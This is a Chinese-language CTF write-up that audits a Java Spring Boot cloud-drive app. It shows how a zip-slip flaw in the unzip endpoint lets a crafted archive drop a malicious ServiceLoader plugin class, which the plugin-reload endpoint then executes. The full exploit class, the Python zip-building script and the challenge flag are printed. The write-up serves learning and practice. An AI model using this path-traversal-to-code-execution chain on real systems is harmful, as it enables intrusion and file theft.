千度云盘
Java,RCE,审计
这种题如果真要靠自己做的话需要比较好的 Java 基础能看懂代码以及简单编写
审计
题目给了个 demo.jar
我使用 jadx 打开,先进行一些常规的分析。
BOOT-INF/classes/ 这里保存的是自己写的代码,重点关注。
ApiController 所有的接口都在这,可以用于捋清整个系统的调用框架。(优先看)
/service 存有业务逻辑,大概率会产生漏洞。
DTO (Data Transfer Object) 这个可以说是用来装数据和传输数据的。(一般不存在漏洞最后再看)
其实一般不一定能完全看懂源代码,我还是更喜欢边抓包分析网站然后再结合源码。
首先点击主页的打开就是会POST /api/v1/fs/list 来显示当前路径下有什么文件。

上传 POST /api/v1/fs/upload
解压 POST /api/v1/fs/unzip
刷新插件 POST /api/v1/plugins/reload
删除 POST /api/v1/fs/delete
下载 POST /api/v1/fs/get
如果从解题的角度来看会想这题的 flag 的路径要怎么找?
常见的思路有以下类型
| 漏洞类型 |
简单介绍 |
具备的条件 |
| RCE |
RCE |
通过某种手段可执行恶意代码 |
| 任意文件读取 |
any_file_read |
具有能读文件的载体 |
| 任意文件写入 |
用程序把内容写进服务器的某一位置实现命令执行 |
具有能保存且写入文件的程序 |
| Webshell |
上传木马利用蚁剑之类的工具进行连接 |
木马可被执行 |
| SSTI |
ssti |
ssti 尝试后发现漏洞存在 |
| 反序列化 |
将文件还原成另一个对象的时候会以外触发别的代码执行 |
存在反序列化函数unserialize(),pickle.loads() |
| 文件包含(LFI、RFI) |
include |
典型的是php include/require |
我首先尝试了利用下载请求获取 /flag 请求失败。
再关注文件上传的请求做了什么。
1 2 3 4 5 6 7 8
| @PostMapping({"/api/v1/fs/upload"}) public ResultDTO uploadFile(@RequestParam("path") String path, @RequestParam("file") MultipartFile file) { try { return this.fileService.writeFile(path, file.getInputStream()); } catch (IOException e) { return new ResultDTO(false, e.getMessage()); } }
|
代码提示:
this 是指当前这个对象(ApiController)很多时候可以不用管
@RequestParam 从请求(Request)中获取参数(Parameter),这个是注解
@RequestParam(“file”) MultipartFile file 则是从请求里找一个名叫 file 的参数,赋值给变量 file
try-catch 尝试执行以及出错后执行
ResultDTO 用来打包信息,并且给出操作结果。
其实遇到这种代码审计的问题我会更加倾向于使用控制流来进行分析,先找出可以利用的代码通过倒推还有用用户的数据流想办法进行 RCE 操作。
如果从单做题的角度来看的话,这里的插件系统是平时见的比较少的,那么我们可以重点审计有关插件系统的源代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| public class PluginService { private static final Path BASE = Path.of("./plugins", new String[0]).toAbsolutePath().normalize();
private final URLClassLoader classLoader = new URLClassLoader(new URL[]{BASE.toUri().toURL()}, getClass().getClassLoader()); static { try { Files.createDirectories(BASE, new FileAttribute[0]); } catch (IOException e) { } } public ResultDTO reload() { ServiceLoader<Runnable> loader = ServiceLoader.load(Runnable.class, this.classLoader); int count = 0; for (Runnable plugin : loader) { plugin.run(); count++; } return new ResultDTO(true, (Object) Integer.valueOf(count)); } }
|
这里发现可以利用的点 plugin.run() 可以进行代码执行。
阅读这里的源码我们就可以得知,我们的恶意代码得写入到 ./plugins 文件夹下。再进行倒推。前面我们可以得知,文件上传后会调用 writeFile.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88
| public ResultDTO writeFile(String path, InputStream in) { Path realPath = parsePathVerySafely(path); try { Files.createDirectories(realPath.getParent(), new FileAttribute[0]); try { try { OutputStream out = Files.newOutputStream(realPath, new OpenOption[0]);
try { in.transferTo(out); ResultDTO resultDTO = new ResultDTO(true, (Object) BASE.relativize(realPath));
if (out != null) { out.close(); } if (in != null) { in.close(); } return resultDTO; } catch (Throwable th) { if (out != null) { try { out.close(); } catch (Throwable th2) { th.addSuppressed(th2); } } throw th; } } catch (Throwable th3) { if (in != null) { try { in.close(); } catch (Throwable th4) { th3.addSuppressed(th4); } } throw th3; } } catch (IOException e) { return new ResultDTO(false, e.getMessage()); } } catch (IOException e2) { return new ResultDTO(false, e2.getMessage()); } }
|
parsePathVerySafely 限定了文件只能写在 file 里
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| private Path parsePathVerySafely(String path) {
Path realPath = BASE.resolve(path).toAbsolutePath().normalize();
if (!realPath.startsWith(BASE)) {
throw new SecurityException("hacker!!");
}
return realPath;
}
|
因此不能仅仅通过文件上传来写入 ./plugins
那么还有一个解压的功能我们还没有使用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| public ResultDTO unzipFileVerySafely(String path) { Path realPath = parsePathVerySafely(path); Path target = realPath.getParent(); try { ZipInputStream in = new ZipInputStream(Files.newInputStream(realPath, new OpenOption[0])); int count = 0; while (true) { try { ZipEntry entry = in.getNextEntry(); if (entry != null) { if (count > 10) { throw new IOException("too many entries!!"); } Path resolved = target.resolve(entry.getName()).normalize();
if (!resolved.startsWith(BASE.getParent())) { throw new IOException("hacker!!"); }
if (entry.isDirectory()) { Files.createDirectories(resolved, new FileAttribute[0]); } else { Files.createDirectories(resolved.getParent(), new FileAttribute[0]); Files.copy(in, resolved, StandardCopyOption.REPLACE_EXISTING); } in.closeEntry(); count++; } else { ResultDTO resultDTO = new ResultDTO(true, (Object) Integer.valueOf(count)); in.close(); return resultDTO; } } catch (Throwable th) { try { in.close(); } catch (Throwable th2) { th.addSuppressed(th2); } throw th; } } } catch (IOException e) { return new ResultDTO(false, e.getMessage()); } } }
|
可以利用这里解压时的拼接漏洞把压缩包写成 ../plugins 写入 plugins 文件夹来执行恶意类。
payload
ServiceLoader加载接口的所有实现
先撰写恶意类
还是得先补充一点前置知识才好去写。
Java 菜鸟教程
dev.java/learn
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| import java.nio.file.*;
public class Evil implements Runnable {
public void run() { try { String flag = new String(Files.readAllBytes(Paths.get("/flag"))); Files.write(Paths.get("./files/flag.txt"), flag.getBytes()); } catch (Exception e) { try { Files.write(Paths.get("./files/error.txt"), e.toString().getBytes()); } catch (Exception ignored) {} } } }
|
进行编译
制作 zip 文件
依据 ServiceLoader 的要求需要创建 plugins/META-INF/services/java.lang.Runnable 文件内容写上 Evil
然后需要实现路径穿越,利用 Python 会方便一点,压缩软件会有命名检测。
1 2 3 4 5 6 7 8 9
| import zipfile
with zipfile.ZipFile("payload.zip", "w") as z: z.write("Evil.class", "../plugins/Evil.class") z.writestr("../plugins/META-INF/services/java.lang.Runnable", "Evil")
|
最后进行上传执行即可获得flag


moectf{2c487a6b-ef6d-d46f-5952-8e634280b4bd}
总结
这题主要难点还是在于 Java 代码审计,我在做的过程中我发现源码中使用到的 Java 自带的类或者函数都是比较重要的,可以通过搜索(直接搜名字就能有比较详细的博客了)或者询问 AI 来理解如何去使用。
这题比较值得反复去练习,不利用 AI 完整做一遍对于 Java 也会有个入门的认识。